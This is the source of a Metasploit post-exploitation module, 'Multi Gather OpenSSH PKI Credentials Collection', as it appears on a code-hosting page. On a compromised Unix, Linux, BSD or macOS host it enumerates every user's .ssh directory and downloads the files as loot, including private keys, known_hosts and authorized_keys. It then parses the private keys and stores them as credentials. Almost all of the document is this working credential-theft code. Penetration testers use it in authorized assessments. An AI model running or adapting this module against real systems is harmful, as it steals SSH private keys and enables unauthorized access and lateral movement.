Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/ssh_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sshkey'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multi Gather OpenSSH PKI Credentials Collection',16'Description' => %q{17This module will collect the contents of all users' .ssh directories on the targeted18machine. Additionally, known_hosts and authorized_keys and any other files are also19downloaded. This module is largely based on firefox_creds.rb.20},21'License' => MSF_LICENSE,22'Author' => ['Jim Halfpenny'],23'Platform' => %w[bsd linux osx unix],24'SessionTypes' => ['meterpreter', 'shell' ],25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28stdapi_fs_ls29stdapi_fs_separator30]31}32}33)34)35end3637def run38print_status('Finding .ssh directories')39paths = enum_user_directories.map { |d| d + '/.ssh' }40# Array#select! is only in 1.941paths = paths.select { |d| directory?(d) }4243if paths.nil? || paths.empty?44print_error('No users found with a .ssh directory')45return46end4748print_status("Looting #{paths.count} .ssh directories")49download_loot(paths)50end5152def download_loot(paths)53paths.each do |path|54path.chomp!5556print_status("Looting #{path} directory")5758unless executable?(path)59print_warning("Cannot access directory: #{path} . Missing execute permission. Skipping.")60next61end6263if session.type == 'meterpreter'64sep = session.fs.file.separator65files = session.fs.dir.entries(path)66else67# Guess, but it's probably right68sep = '/'69files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)70end71path_array = path.split(sep)72path_array.pop73user = path_array.pop74files.each do |file|75next if ['.', '..'].include?(file)7677file_path = "#{path}#{sep}#{file}"7879unless readable?(file_path)80print_warning("Cannot read file: #{file_path} . Missing read permission. Skipping.")81next82end8384data = read_file("#{path}#{sep}#{file}")85file = file.split(sep).last8687loot_path = store_loot("ssh.#{file}", 'text/plain', session, data, "ssh_#{file}", "OpenSSH #{file} File")88print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")8990# store only ssh private keys91next if SSHKey.valid_ssh_public_key? data9293begin94key = SSHKey.new(data, passphrase: '')9596credential_data = {97origin_type: :session,98session_id: session_db_id,99post_reference_name: refname,100private_type: :ssh_key,101private_data: key.key_object.to_s,102username: user,103workspace_id: myworkspace_id104}105106create_credential(credential_data)107rescue OpenSSL::OpenSSLError => e108print_error("Could not load SSH Key: #{e.message}")109end110end111end112end113end114115116